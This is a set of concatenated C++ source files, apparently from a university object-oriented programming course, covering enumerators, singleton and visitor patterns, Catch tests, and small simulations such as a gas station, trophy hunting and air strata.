<sstream> #include <vector> using namespace std; struct Score { string name; bool rich; }; enum Status {abnorm, norm}; bool read(ifstream &f, Score &e, Status &st) { string line; getline(f,line); if (!f.fail() && line!="") { st = norm; istringstream in(line); string product=""; int price; in>>price; e.rich = true; while(in.fail()) { in.clear(); e.name+= " " + product; in >> product; in >> price; } e.rich = e.rich && price>=20000; while( in >> product >> price ) { e.rich = e.rich && price>=20000; }; } else st=abnorm; return norm==st; } #define NORMAL_MODE #ifdef NORMAL_MODE int main() { ifstream x("inp1.txt"); if (x.fail() ) { cout << "Wrong filename!\n"; return 1; } Score dx; Status sx; bool l = false; while(read(x,dx,sx) && !l) { l = l || dx.rich ; } cout <<((l) ? "Exist rich customer " : "Not exist rich customer ") <<endl; return 0; } #else #define CATCH_CONFIG_MAIN #include "catch.hpp" TEST_CASE("empty", "inp0.txt") { ifstream x("inp0.txt");REQUIRE(!x.fail()); Score dx; Status sx; bool l = false; while(read(x,dx,sx) && !l) { l = l || dx.rich ; } CHECK(l==false); } TEST_CASE("one", "inp1.txt") { ifstream x("inp1.txt"); REQUIRE(!x.fail()); Score dx; Status sx; bool l = false; while(read(x,dx,sx) && !l) { l = l || dx.rich ; } CHECK(l==false); } TEST_CASE("two", "inp3.txt") { ifstream x("inp3.txt"); REQUIRE(!x.fail()); Score dx; Status sx; bool l = false; while(read(x,dx,sx) && !l) { l = l || dx.rich ; } CHECK(l==true); } TEST_CASE("three", "inp4.txt") { ifstream x("inp4.txt"); REQUIRE(!x.fail()); Score dx; Status sx; bool l = false; while(read(x,dx,sx) && !l) { l = l || dx.rich ; } CHECK(l==true); } #endif <file_sep>/lessons/lesson_7/enor.h #ifndef ENOR_H #define ENOR_H #include <string> #include <fstream> class Enor { enum Error{FILEERROR}; public: Enor(const std::string &str); void first() {read(); next();}; void next(); bool current() const {return _akt;}; bool end() const {return _vege;}; private: enum Status {abnorm,norm}; struct Trofea { std::string nev; std::string fajta; int suly; }; std::ifstream _x; Trofea _dx; Status _sx; bool _akt; bool _vege; void read(); }; #endif // ENOR_H <file_sep>/assignment/assignment_10_hunter/hunter.h #ifndef HUNTER_H #define HUNTER_H #include <string> #include <vector> #include "trophy.h" class Hunter { public: enum error {WRONG_FILENAME,UNEXPECTED_SPIECES, UNEXPECTED_DATA}; Hunter(std::string filename); ~Hunter() { for(Trophy<int>* i:rhinoTrophies) delete i; for(Trophy<std::string>* i:lionTrophies) delete i; for(Trophy<IvoryLength>* i:elephantTrophies) delete i; } int MaleLionTrophiesCount(); std::string getName() { return name; } private: std::string name; int age; std::vector<Trophy<int>*> rhinoTrophies; std::vector<Trophy<std::string>*> lionTrophies; std::vector<Trophy<IvoryLength>*> elephantTrophies; }; #endif // HUNTER_H <file_sep>/assignment/assignment_plus_1/main.cpp #include <iostream> #include <fstream> #include <vector> using namespace std; int mostFrequency(vector<int> x, unsigned n); void output(int ind, vector<int> x, unsigned n); int main() { ifstream f( "input.txt" ); if( f.fail() ) { cout << "File open error!\n"; return 1; } vector<int> x; int e; while( f >> e ) { x.push_back(e); } unsigned int n=x.size(); int ind=mostFrequency(x, n); output(ind, x, n); return 0; } int mostFrequency(vector<int> x, unsigned n) { int max=1, ind=0; for (unsigned int i=0; i<n; i++) { int db=1; for( unsigned int j=i+1; j<n; j++) { if(x[i]==x[j]) { db++; } } if(max<db) { max=db; ind=i; } } return ind; } void output(int ind, vector<int> x, unsigned n) { cout << "A tömb legsűrűbben előforduló eleme: " << x[ind] << endl; cout << "A tömb elemei: " ; for(unsigned int i=0; i<n; i++) { cout << x[i] << " "; } } <file_sep>/assignment/assignment_9/Pump.h #ifndef SERVICESTATION_H #define SERVICESTATION_H class Pump { public: Pump(): _display(0) {}; void fill(int liter){_display=liter;}; void clearFuel() {_display=0;}; int getDisplay() {return _display;}; private: int _display; }; #endif // SERVICESTATION_H <file_sep>/lessons/lesson_11/creatures/creature_visitor_egyke/ground.cpp //Author: <NAME> //Date: 2017.12.15. //Title: implementation of classes of groundtypes (with visitor design pattern) #include "ground.h" #include "creature.h" using namespace std; // implementation of class Sand Sand* Sand::_instance = nullptr; Sand* Sand::instance() { if(_instance == nullptr) { _instance = new Sand(); } return _instance; } Ground* Sand::change(Greenfinch *p) { p->changePower(-2); return this; } Ground* Sand::change(DuneBeetle *p) { p->changePower(3); return this; } Ground* Sand::change(Squelchy *p) { p->changePower(-5); return this; } void Sand::destroy() { if ( nullptr!=_instance ) delete _instance; } // implementation of class Grass Grass* Grass::_instance = nullptr; Grass* Grass::instance() { if(_instance == nullptr) { _instance = new Grass(); } return _instance; } Ground* Grass::change(Greenfinch *p) { p->changePower(1); return this; } Ground* Grass::change(DuneBeetle *p) { p->changePower(-2); return Sand::instance(); } Ground* Grass::change(Squelchy *p) { p->changePower(-2); return Marsh::instance(); } void Grass::destroy() { if ( nullptr!=_instance ) delete _instance; } // implementation of class Marsh Marsh* Marsh::_instance = nullptr; Marsh* Marsh::instance() { if(_instance == nullptr) { _instance = new Marsh(); } return _instance; } Ground* Marsh::change(Greenfinch *p) { p->changePower(-1); return Grass::instance(); } Ground* Marsh::change(DuneBeetle *p) { p->changePower(-4); return Grass::instance(); } Ground* Marsh::change(Squelchy *p) { p->changePower(6); return this; } void Marsh::destroy() { if ( nullptr!=_instance ) delete _instance; } <file_sep>/assignment/01_assignment/assignment_9/customer.h #ifndef CUSTOMER_H #define CUSTOMER_H #include <string> #include "gasStation.h" class Customer { public: Customer(std::string const &name): _name(name){}; void refuel(GasStation &g, int ind, int liter) {g.getPump(ind)->fill(liter);}; private: std::string _name; }; #endif // CUSTOMER_H <file_sep>/lessons/02_lesson/lesson10_1_gardener/plant.h #pragma once class Plant { protected: int _ripeningTime; Plant(int i) : _ripeningTime(i) {} public: getRipeningTime() const { return _ripeningTime; } virtual ~Plant() {} }; class Vegetable : public Plant { protected: Vegetable(int i) : Plant(i) {} }; class Flower : public Plant { protected: Flower(int i) : Plant(i) {} }; class Potatoe : public Vegetable { public: static Potatoe* instance(); private: Potatoe() : Vegetable(5) {} static Potatoe* _instance; }; class Pea : public Vegetable { public: static Pea* instance(); private: Pea() : Vegetable(3) {} static Pea* _instance; }; class Onion : public Vegetable { public: static Onion* instance(); private: Onion() : Vegetable(4) {} static Onion* _instance; }; class Rose : public Flower { public: static Rose* instance(); private: Rose() : Flower(8) {} static Rose* _instance; }; class Carnation : public Flower { public: static Carnation* instance(); private: Carnation() : Flower(10) {} static Carnation* _instance; }; class Tulip : public Flower { public: static Tulip* instance(); private: Tulip() : Flower(7) {} static Tulip* _instance; }; <file_sep>/lessons/02_lesson/lesson_6_szek/enor.cpp #include "enor.h" Enor::Enor(const std::string fnev) { _x.open(fnev); if(_x.fail()) throw FILEERROR; //ctor } void Enor::next() { _vege = (abnorm==_sx); if(!_vege) { _akt.szaml = _dx.szaml; _akt.egy = 0; for(; norm==_sx && _dx.szaml == _akt.szaml; read()){ _akt.egy += _dx.ossz; } } } void Enor::read() { _x >> _dx.szaml >> _dx.datum >> _dx.ossz; if(_x.fail()) _sx=abnorm; else _sx=norm; } <file_sep>/lessons/02_lesson/lesson_2_2/polygon/main.cpp //Author: <NAME> //Date: 2017.12.15. //Title: Moving polygons and computing their center (type-oriented version) #include <iostream> #include <fstream> #include <vector> #include "polygon.h" #include "point.h" using namespace std; //Activity: Creating polygons based on a textfile, // moving them and then computing their center, int main() { cout << "file name: "; string fn; cin>> fn; ifstream inp(fn); if(inp.fail()) { cout << "File open error\n"; exit(1);} int n; inp >> n; vector<Polygon*> t(n); for ( int i=0; i<n; ++i ) t[i] = Polygon::create(inp); int x, y; inp >> x >> y; Point mp(x, y); for ( Polygon* p : t ){ p->move(mp); cout << p << endl; cout << p->center() << endl; } // for ( Polygon* p : t ) delete p; return 0; } <file_sep>/assignment/01_assignment/assignment_9/gasStation.cpp #include <iostream> #include "gasStation.h" GasStation::GasStation(int unitPrice) { _c=new CashDesk(unitPrice); int i=1; while(i<8) { _s.push_back(new Pump()); i++; } } Pump* GasStation::getPump(int ind) { if(!(ind>0 && ind<8)) throw INVALID_STATION; _c->setPump(_s[ind-1]); return _s[ind-1]; }; <file_sep>/lessons/lessons_9_2/store.h #pragma once #include "department.h" class Store { public: Store(); ~Store(){ delete _foods; delete _technical; } Department* _technical; Department* _foods; }; <file_sep>/lessons/lesson_2_2/polygonMenu/point.cpp //Author: <NAME> //Date: 2017.12.15. //Title: implementation of point #include "point.h" //Task: writing a point //Input: ostream o - output adatfolyam // Point p - point //Output: ostream o - output adatfolyam //Activity: writing the coordinates of the point std::ostream& operator<<(std::ostream &o, const Point &p) { o << "(" << p._x << "," << p._y << ")"; return o; } <file_sep>/assignment/assignment_10_hunter/trophy.h #ifndef TROPHY_H #define TROPHY_H #include <string> struct IvoryLength { int right; int left; IvoryLength() { right=0; left=0; } IvoryLength(int a, int b) { right=a; left=b; } }; template<typename SpecialAttribute> class Trophy { public: virtual ~Trophy() {}; SpecialAttribute getSpecialAttribute() { return specialAttribute; }; std::string getSpieces() { return spieces; } protected: std::string spieces; std::string spot; std::string date; int weight; SpecialAttribute specialAttribute; Trophy<SpecialAttribute>(std::string spieces,std::string spot,std::string date,int weight,SpecialAttribute specialAttribute ) { this->spieces=spieces; this->spot=spot; this->date=date; this->weight=weight; this->specialAttribute=specialAttribute; }; } ; class Lion : public Trophy<std::string> { public: Lion(std::string spieces,std::string spot,std::string date,int weight, std::string specialAttribute):Trophy<std::string>(spieces,spot,date,weight,specialAttribute) {}; }; class Rhino : public Trophy<int> { public: Rhino(std::string spieces, std::string spot, std::string date, int weight, int specialAttribute) : Trophy<int>(spieces, spot, date, weight,specialAttribute) {}; }; class Elephant : public Trophy<IvoryLength> { public: Elephant(std::string spieces,std::string spot,std::string date,int weight, IvoryLength specialAttribute):Trophy<IvoryLength>(spieces,spot,date,weight,specialAttribute) {}; }; #endif // TROPHY_H <file_sep>/lessons/02_lesson/lesson_11/creatures/creature_visitor_egyke/ground.h //Author: <NAME> //Date: 2017.12.15. //Title: classes of groundtypes (with visitor design pattern) #pragma once #include <string> class Greenfinch; class DuneBeetle; class Squelchy; // class of abstract grounds class Ground{ public: virtual Ground* change(Greenfinch *p) = 0; virtual Ground* change(DuneBeetle *p) = 0; virtual Ground* change(Squelchy *p) = 0; virtual ~Ground() {} }; // class of sand class Sand : public Ground { public: static Sand* instance(); Ground* change(Greenfinch *p) override; Ground* change(DuneBeetle *p) override; Ground* change(Squelchy *p) override; static void destroy() ; private: Sand(){} static Sand* _instance; }; // class of grass class Grass : public Ground { public: static Grass* instance(); Ground* change(Greenfinch *p) override; Ground* change(DuneBeetle *p) override; Ground* change(Squelchy *p) override; static void destroy() ; private: Grass(){} static Grass* _instance; }; // class of marsh class Marsh : public Ground { public: static Marsh* instance(); Ground* change(Greenfinch *p) override; Ground* change(DuneBeetle *p) override; Ground* change(Squelchy *p) override; static void destroy() ; private: Marsh(){} static Marsh* _instance; }; <file_sep>/assignment/Assignment_3_AirStrarum/airStratum.h #ifndef AIRSTRATUM_H #define AIRSTRATUM_H #include <iostream> #include "weather.h" class Else; class Sunny; class Rain; class AirStratum { public: enum error{WRONG_FILENAME}; virtual ~AirStratum() {}; char getName() { return _name; } double getSize() { return _size; } virtual void transmute(Weather* &weather,bool &l,unsigned i, std::vector <AirStratum*> &airStratum) = 0; bool remaining() { return _size > 0.5; } void changeSize(double e) { _size +=e ; } protected: AirStratum (const char ch, double e = 0) :_name(ch), _size(e) {} char _name; double _size; }; class Oxygen: public AirStratum { public: Oxygen(const char ch, double e = 0) : AirStratum(ch,e) {} void transmute(Weather* &weather,bool &l,unsigned i, std::vector <AirStratum*> &airStratum)override { weather->change(this,l,i,airStratum); } }; class Ozone: public AirStratum { public: Ozone(const char ch, double e = 0): AirStratum(ch,e) {}; void transmute(Weather* &weather, bool &l,unsigned i,std::vector <AirStratum*> &airStratum)override { weather->change(this,l,i,airStratum); } }; class CarbonDioxide: public AirStratum { public: CarbonDioxide(const char ch, double e = 0) : AirStratum(ch,e) {}; void transmute(Weather* &weather,bool &l, unsigned i,std::vector <AirStratum*> &airStratum)override { weather->change(this,l,i,airStratum); } }; #endif // AIRSTRATUM_H <file_sep>/assignment/01_assignment/assignment_7/main.cpp #include <iostream> #include "enor.h" using namespace std; //#define NORMAL_MODE #ifdef NORMAL_MODE int main() { try { bool sugarMeter=true; Enor t("inp2.txt"); for(t.first(); sugarMeter && !t.end() ; t.next()) { sugarMeter = t.current().needsSugar; } cout << (sugarMeter? "Every recipe needs sugar" : "Not all recipes need sugar.") << endl; } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } return 0; } #else #define CATCH_CONFIG_MAIN #include "catch.hpp" TEST_CASE("empty", "inp0.txt") { try { bool sugarMeter=true; Enor t("inp0.txt"); int c=0; for(t.first(); sugarMeter && !t.end() ; t.next()) { c++; } CHECK(0==c); } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } } TEST_CASE("firsttrue", "inp1.txt") { try { bool sugarMeter=true; Enor t("inp1.txt"); for(t.first(); sugarMeter && !t.end() ; t.next()) { sugarMeter = t.current().needsSugar; } CHECK(sugarMeter==true); } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } } TEST_CASE("middletrue", "inp2.txt") { try { bool sugarMeter=true; Enor t("inp2.txt"); for(t.first(); sugarMeter && !t.end() ; t.next()) { sugarMeter = t.current().needsSugar; } CHECK(sugarMeter==true); } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } } TEST_CASE("lasttrue", "inp3.txt") { try { bool sugarMeter=true; Enor t("inp3.txt"); for(t.first(); sugarMeter && !t.end() ; t.next()) { sugarMeter = t.current().needsSugar; } CHECK(sugarMeter==true); } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } } TEST_CASE("firstfalse", "inp4.txt") { try { bool sugarMeter=true; Enor t("inp4.txt"); for(t.first(); sugarMeter && !t.end() ; t.next()) { sugarMeter = t.current().needsSugar; } CHECK(sugarMeter==false); } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } } TEST_CASE("midlefalse", "inp5.txt") { try { bool sugarMeter=true; Enor t("inp5.txt"); for(t.first(); sugarMeter && !t.end() ; t.next()) { sugarMeter = t.current().needsSugar; } CHECK(sugarMeter==false); } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } } TEST_CASE("lastfalse", "inp6.txt") { try { bool sugarMeter=true; Enor t("inp6.txt"); for(t.first(); sugarMeter && !t.end() ; t.next()) { sugarMeter = t.current().needsSugar; } CHECK(sugarMeter==false); } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } } TEST_CASE("exception", "inp100.txt") { try { bool sugarMeter=true; Enor t("inp100.txt"); for(t.first(); sugarMeter && !t.end() ; t.next()) { sugarMeter = t.current().needsSugar; } } catch(Enor::Errors err) { CHECK(err==Enor::FILEERROR); } } #endif <file_sep>/lessons/lessons_9_2/customer.h #pragma once #include "store.h" #include <string> #include <vector> class Customer { public: Customer(const std::string &fname); void purchase(const Store &store); private: std::string _name; std::vector<std::string> _list; std::vector<Product*> _cart; bool linsearch(std::string name, Department* r, Product *&product) const; bool minsearch(std::string nev, Department* r, Product *&product) const; }; <file_sep>/lessons/02_lesson/lesson_12_trofea/main.cpp #include <iostream> #include <sstream> #include "library/counting.hpp" #include "library/enumerator.hpp" #include "library/seqinfileenumerator.hpp" using namespace std; struct Trophy { string country; bool malelion; }; istream& operator>>(istream& in, Trophy &e) { string line; getline(in, line); istringstream is(line); is >> e.country; string date, species, gender; int weigth; is >> date >> species; if( species=="lion") { is >> weigth >> gender; e.malelion = (gender=="male"); } return in; } class MyCounting : public Counting<bool> { public: bool cond(const bool &e) const override { return e; } }; class BoolEnumerator : public Enumerator<bool> { private: SeqInFileEnumerator<Trophy> _f; bool _cur, _end; public: BoolEnumerator(const string& fname) : _f(fname) {} void first() override { _f.first(); next(); } void next() override; bool current() const override { return _cur; } bool end() const override { return _end; } }; class MyOr : public Summation<Trophy, bool> { private: string country; public: MyOr(const string& name) : country(name) {} bool neutral() const override { return false; } bool add(const bool& a, const bool& b) const override { return a || b; } bool func(const Trophy& e) const override { return e.malelion; } void first() override {} bool whileCond(const Trophy& e) const override { return e.country == country;} }; void BoolEnumerator::next() { if ((_end = _f.end())) return; MyOr p(_f.current().country); p.addEnumerator(&_f); p.run(); _cur = p.result(); } int main(int argc, char* argv[]) { string inputfile_name = (argc==1)? "input.txt" : argv[1]; try{ MyCounting p; BoolEnumerator enor(inputfile_name); p.addEnumerator(&enor); p.run(); cout << "Darab: " << p.result() << endl; }catch(SeqInFileEnumerator<Trophy>::Exceptions ex){ cout << "Rossz file nev\n"; } return 0; } <file_sep>/lessons/02_lesson/lessons_9_1/bank.cpp #include "bank.h" #include "card.h" #include <iostream> Account* Bank::createAccount(const std::string& accountNo) { Account* acc = new Account(accountNo); _accounts.push_back(acc); return acc; } Card* Bank::createCard(Account* acc, const std::string& cardNo, const std::string& pin) { if(acc == nullptr) throw NONEXISTING_ACCOUNT; Card* card = new Card( _code, cardNo, pin); acc->addCard(card); return card; } int Bank::getBalance(const std::string& cardNo) const { Account* account = nullptr; if (!accountSearch(cardNo, account)) throw NONEXISTING_ACCOUNT; return account->getBalance(); } void Bank::transaction(const std::string& cardNo, int a) { Account* account = nullptr; if (!accountSearch(cardNo, account)) throw NONEXISTING_ACCOUNT; account->add(a); } bool Bank::accountSearch(const std::string& cardNo, Account* &account) const { for( Account* acc : _accounts ){ if(acc->search(cardNo)){ account = acc; return true; } } return false; } <file_sep>/lessons/02_lesson/lesson_2_1/point.h #pragma once #include <cmath> class Point { public: double _x, _y; public: Point(double a=0, double b=0):_x(a), _y(b) {} double distance(const Point &pont) const{ return sqrt(pow((_x-pont._x),2)+pow((_y-pont._y),2)); } }; <file_sep>/assignment/01_assignment/assignment_11_greatest_frequency/main.cpp #include <iostream> #include "library/counting.hpp" #include "library/maxsearch.hpp" #include "library/arrayenumerator.hpp" #include "library/intervalenumerator.hpp" #include <vector> using namespace std; //class of counting of ingredients including sugar //overrides the method cond() class MyCounting : public Counting<int> { private: int a; public: MyCounting(const int a) : a(a) {} protected: bool cond(const int &e) const override { return e==a; } }; class MyMaxSearch : public MaxSearch<int> { private: vector<int> _x; public: MyMaxSearch(vector<int> x) : _x(x) {} protected: int func(const int& e) const override { MyCounting pr(e); ArrayEnumerator<int> enor(&_x); pr.addEnumerator(&enor); pr.run(); return pr.result(); } }; int main() { vector<int> t= {1, 2, 3, 4, 5, 6, 7, 8, 10, 1, 3, 4, 5, 3, 6, 3, 2, 3}; MyMaxSearch pr(t); ArrayEnumerator<int> enor(&t); pr.addEnumerator(&enor); pr.run(); cout << "A legtobbszor elofordulo szam: " << pr.optElem(); return 0; } <file_sep>/lessons/02_lesson/lesson_6_szek/main.cpp #include <iostream> #include <fstream> #include "enor.h" using namespace std; int main() { Enor t("input.txt"); ofstream y("output.txt"); for(t.first(); !t.end(); t.next()) { if(t.current().egy<-100000) { y << t.current().szaml << " " << t.current().egy << endl; } } return 0; } <file_sep>/assignment/assignment_7/enor.h #ifndef ENOR_H #define ENOR_H #include <fstream> struct Recipe { std::string recipe; bool needsSugar; }; class Enor { public: enum Status {norm,abnorm}; enum Errors {FILEERROR}; Enor(std::string x); void first() { read(); next(); }; void next(); Recipe current() const { return _curr; }; bool end()const { return _end; }; private: struct inpurRecipe { std::string recipe; std::string ingredient; int amount; std::string measure; }; std::fstream _x; inpurRecipe _dx; Status _sx; Recipe _curr; bool _end; void read(); }; #endif // ENOR_H <file_sep>/lessons/02_lesson/lesson_2_2/polygonApp/polygon.cpp //Author: <NAME> //Date: 2017.12.15. //Title: implementation of class of polygon #include "polygon.h" #include <iostream> using namespace std; //Task: moving a polygon //Input: Polygon this - polygon // Point mp - moving vector //Output: Polygon this - polygon //Activity: moving of all vertices of the polygon void Polygon::move(const Point &mp) { for(unsigned int i = 0; i<_vertices.size(); ++i) { _vertices[i] = _vertices[i] + mp; } } //Task: computing the center of a polygon polygon //Input: Polygon this - polygon //Output: Polygon this - polygon //Activity: computing the sum of the vertices of the polygon and dividing it by the number of the vertices Point Polygon::center() const { Point center; for(const Point &vertex : _vertices) { center = center + vertex; } center = center / sides(); return center; } //Task: creating a polygon based on a textfile //Input: ifstream inp - textfile //Output: Polygon this - polygon //Activity: constracting a polygon and setting coordinates of its vertices Polygon* Polygon::create(ifstream &inp) { Polygon *p; try{ int sides; inp >> sides; p = new Polygon(sides); for( int i=0; i < sides; ++i ){ int x, y; inp >> x >> y; p->_vertices[i].setPoint(x,y); } }catch(Polygon::Errors e){ if( e==Polygon::FEW_VERTICES ) cout << " … "; } return p; } //Task: writing the vertices of a polygon //Input: ostream o - output adatfolyam // Polygon p - polygon //Output: ostream o - output adatfolyam //Activity: writing coordinates of all vertices of the polygon std::ostream& operator<<(std::ostream &out, const Polygon &p) { out << "<"; for( const Point& vertex : p._vertices ) { out << vertex; } out << ">"; return out; } <file_sep>/lessons/02_lesson/lessons_9_2/store.cpp #include "Store.h" using namespace std; Store::Store(const string &fname, const string &tname) { _foods = new Department(fname); _technical = new Department(tname); } <file_sep>/assignment/assignment_2/contest.cpp #include "contest.h" using namespace std; void Contest::next() { _curr.contestId=_tt.current().contestId; _curr.isCatfish=false; _curr.isNotCatfish=false; _end=_tt.end(); while( !_tt.end() && _tt.current().contestId==_curr.contestId ) { _curr.isCatfish=_curr.isCatfish || _tt.current().isCatfish; _curr.isNotCatfish=_curr.isNotCatfish||_tt.current().isNotCatfish; _tt.next(); } } <file_sep>/assignment/01_assignment/assignment_1/matrix.h //Author: <NAME> //Date: 2020.03.09 //Title: N matrix #pragma once #include <vector> #include "read.hpp" //class of N matrices class Matrix { public: enum matrixError {OVERINDEXED, INVALID_OPERATION, NULLPART}; int write( const unsigned i, const unsigned j) const; void setElemValue (const unsigned i, const unsigned j, int data); unsigned getSize()const { return (_v.size()+1)/3; }; void setSize(int a) { _v.resize(3*a-1); }; Matrix operator+ (const Matrix &m); Matrix operator* ( Matrix &m); friend std::ostream& operator<< (std::ostream& s, const Matrix &m); friend std::istream& operator>> (std::istream& s, Matrix &m); private: std::vector<int> _v; int getVectorIndex (const unsigned i, const unsigned j) const; }; <file_sep>/lessons/02_lesson/lessons_9_2/department.cpp #include "department.h" #include <fstream> using namespace std; Department::Department(const string &fnev) { ifstream f(fnev); int i; string s; while (f >> s >> i) { _stock.push_back(new Product(s,i)); } } void Department::takeOutFromStock(Product *product) { bool l = false; int ind; for( unsigned int i = 0; !l && i < _stock.size(); ++i) { l = _stock[i] == product; ind = i; } if (l) _stock.erase(_stock.begin()+ind); } <file_sep>/lessons/02_lesson/lessons_9_2/department.h #pragma once #include "product.h" #include <vector> class Department { public: Department(const std::string &fname); void takeOutFromStock(Product *product); // _stock.remove(Product*) std::vector<Product*> _stock; }; <file_sep>/assignment/01_assignment/Assignment_3_AirStrarum/weather.cpp #include "weather.h" #include "airStratum.h" #include <iostream> using namespace std; Else* Else::_instance = nullptr; Else* Else :: instance() { if(!_instance) { _instance = new Else(); } return _instance; } Else* Else :: change(Oxygen* oxygen,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) { CarbonDioxide* a = new CarbonDioxide('s',oxygen->getSize()*0.1); oxygen->changeSize(-oxygen->getSize()*0.1); unsigned j=i+1; bool lp=true; while(j<airStratum.size()) { if(lp && airStratum[j]->getName()==a->getName() ) { airStratum[j]->changeSize(a->getSize()); delete a; lp=false; } if(oxygen->getSize()<0.5) { if(airStratum[j]->getName()==oxygen->getName() ) { airStratum[j]->changeSize(oxygen->getSize()); airStratum.erase(airStratum.begin()+i-1); } } j++; } for(auto b:airStratum) { if(b->getSize()<0.5) { l=false; } } if(lp && a->getSize()>=0.5) { airStratum.push_back(a); } else if (lp && a->getSize()<0.5) { delete a; } return this; } Else* Else :: change(Ozone* ozone,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) { Oxygen* a = new Oxygen('x',ozone->getSize()*0.05); ozone->changeSize(-ozone->getSize()*0.05); unsigned j=i+1; bool lp=true; while(j<airStratum.size()) { if(lp && airStratum[j]->getName()==a->getName() ) { airStratum[j]->changeSize(a->getSize()); delete a; lp=false; } if(ozone->getSize()<0.5) { if(airStratum[j]->getName()==ozone->getName() ) { airStratum[j]->changeSize(ozone->getSize()); airStratum.erase(airStratum.begin()+i-1); } } j++; } for(auto b:airStratum) { if(b->getSize()<0.5) { l=false; } } if(lp && a->getSize()>=0.5) { airStratum.push_back(a); } else if (lp && a->getSize()<0.5) { delete a; } return this; } Else* Else :: change(CarbonDioxide* carbonDioxide,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) { return this; } void Else::destroy() { if ( !_instance ) delete _instance; } Rain* Rain::_instance = nullptr; Rain* Rain :: instance() { if(!_instance) { _instance = new Rain(); } return _instance; } Rain* Rain :: change(Oxygen* oxygen,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) { Ozone* a = new Ozone('z',oxygen->getSize()*0.5); oxygen->changeSize(-oxygen->getSize()*0.5); unsigned j=i+1; bool lp=true; while(j<airStratum.size()) { if(lp && airStratum[j]->getName()==a->getName() ) { airStratum[j]->changeSize(a->getSize()); delete a; lp=false; } if(airStratum[j]->getName()==oxygen->getName() ) { { airStratum[j]->changeSize(oxygen->getSize()); airStratum.erase(airStratum.begin()+i-1); } } j++; } for(auto b:airStratum) { if(b->getSize()<0.5) { l=false; } } if(lp && a->getSize()>=0.5) { airStratum.push_back(a); } else if (lp &&a->getSize()<0.5) { delete a; } return this; } Rain* Rain :: change(Ozone* ozone,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) { return this; } Rain* Rain :: change(CarbonDioxide* carbonDioxide,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) { return this; } void Rain::destroy() { if ( !_instance) delete _instance; } Sunny* Sunny::_instance = nullptr; Sunny* Sunny :: instance() { if(!_instance) { _instance = new Sunny(); } return _instance; } Sunny* Sunny :: change(Oxygen* oxygen,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) { Ozone* a = new Ozone('z',oxygen->getSize()*0.05); oxygen->changeSize(-oxygen->getSize()*0.05); unsigned j=i+1; bool lp=true; while(j<airStratum.size()) { if(lp && airStratum[j]->getName()==a->getName() ) { airStratum[j]->changeSize(a->getSize()); delete a; lp=false; } if(oxygen->getSize()<0.5) { if(airStratum[j]->getName()==oxygen->getName() ) { airStratum[j]->changeSize(oxygen->getSize()); airStratum.erase(airStratum.begin()+i-1); } } j++; } for(auto b:airStratum) { if(b->getSize()<0.5) { l=false; } } if(lp && a->getSize()>=0.5) { airStratum.push_back(a); } else if (lp && a->getSize()<0.5) { delete a; } return this; } Sunny* Sunny :: change(Ozone* ozone,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) { return this; } Sunny* Sunny :: change(CarbonDioxide* carbonDioxide,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) { Oxygen* a = new Oxygen('x',carbonDioxide->getSize()*0.05); carbonDioxide ->changeSize(-carbonDioxide->getSize()*0.05); cout << carbonDioxide->getSize() <<endl; unsigned j=i+1; bool lp=true; while(j<airStratum.size()) { if(lp && airStratum[j]->getName()==a->getName() ) { airStratum[j]->changeSize(a->getSize()); delete a; lp=false; } if(carbonDioxide->getSize()<0.5) { if(airStratum[j]->getName()==carbonDioxide->getName() ) { airStratum[j]->changeSize(carbonDioxide->getSize()); airStratum.erase(airStratum.begin()+i-1); } } j++; } for(auto b:airStratum) { if(b->getSize()<0.5) { l=false; } } if(lp && a->getSize()>=0.5) { airStratum.push_back(a); } else if (lp && a->getSize()<0.5) { delete a; } return this; } void Sunny::destroy() { if ( !_instance ) delete _instance; } <file_sep>/lessons/02_lesson/lesson_7/enor.cpp #include "enor.h" Enor::Enor(const std::string &str) { _x.open(str); if(_x.fail()) throw FILEERROR; } void Enor::next() { if(!(_vege = (abnorm==_sx))) { std::string nev = _dx.nev; _akt = false; for(; norm==_sx && _dx.nev==nev; read() ) { _akt = _akt || ("MEDVE"==_dx.fajta); } } } void Enor::read() { _x >> _dx.nev >> _dx.fajta >> _dx.suly; _sx = _x.fail() ? abnorm : norm; } <file_sep>/lessons/02_lesson/lesson_2_1/circle.h #pragma once #include "point.h" class Circle { private: Point _c; double _r; public: Circle() {}; Circle(const Point &p, double d):_c(p), _r(d) {} bool contains(const Point &p) const { return p.distance(p)<=_r; }; }; <file_sep>/lessons/lesson_10_1_gardener/kert.h #pragma once #include <vector> #include "parcella.h" class Kert { protected: std::vector<Parcella*> _parcellak; public: Kert(int n){ _parcellak.resize(n); for(int i = 0; i<n; ++i) _parcellak[i] = new Parcella(i); } Parcella* getParcella(int i) const { if(i>=0 && i<(int)_parcellak.size()) return _parcellak[i]; else return nullptr; } int getDarabParcella() const { return _parcellak.size(); } }; <file_sep>/lessons/lesson_12/main.cpp #include <iostream> #include "library/counting.hpp" #include "library/enumerator.hpp" #include "library/seqinfileenumerator.hpp" #include "library/summation.hpp" #include <sstream> using namespace std; struct Trophy { string country; bool malelion; }; istream& operator>>(istream &in, Trophy &e) { string line; getline(in, line); istringstream is(line); is>>e.country; string date,species,gender; is>>date>>species; if( species == "lion") { int weight; is >> weight >> gender; e.malelion = (gender=="male"); } return in; } class MyCounting : public Counting<bool> { public: bool cond(const bool &e) const override { return e; }; }; class BoolEnumerator : public Enumerator<bool> { private: SeqInFileEnumerator<Trophy> _f; bool _cur, _end; public: BoolEnumerator(const string &fname) : _f(fname) {} void first() override { _f.first(); next(); } void next() override; bool current() const override { return _cur; } bool end() const override { return _end; 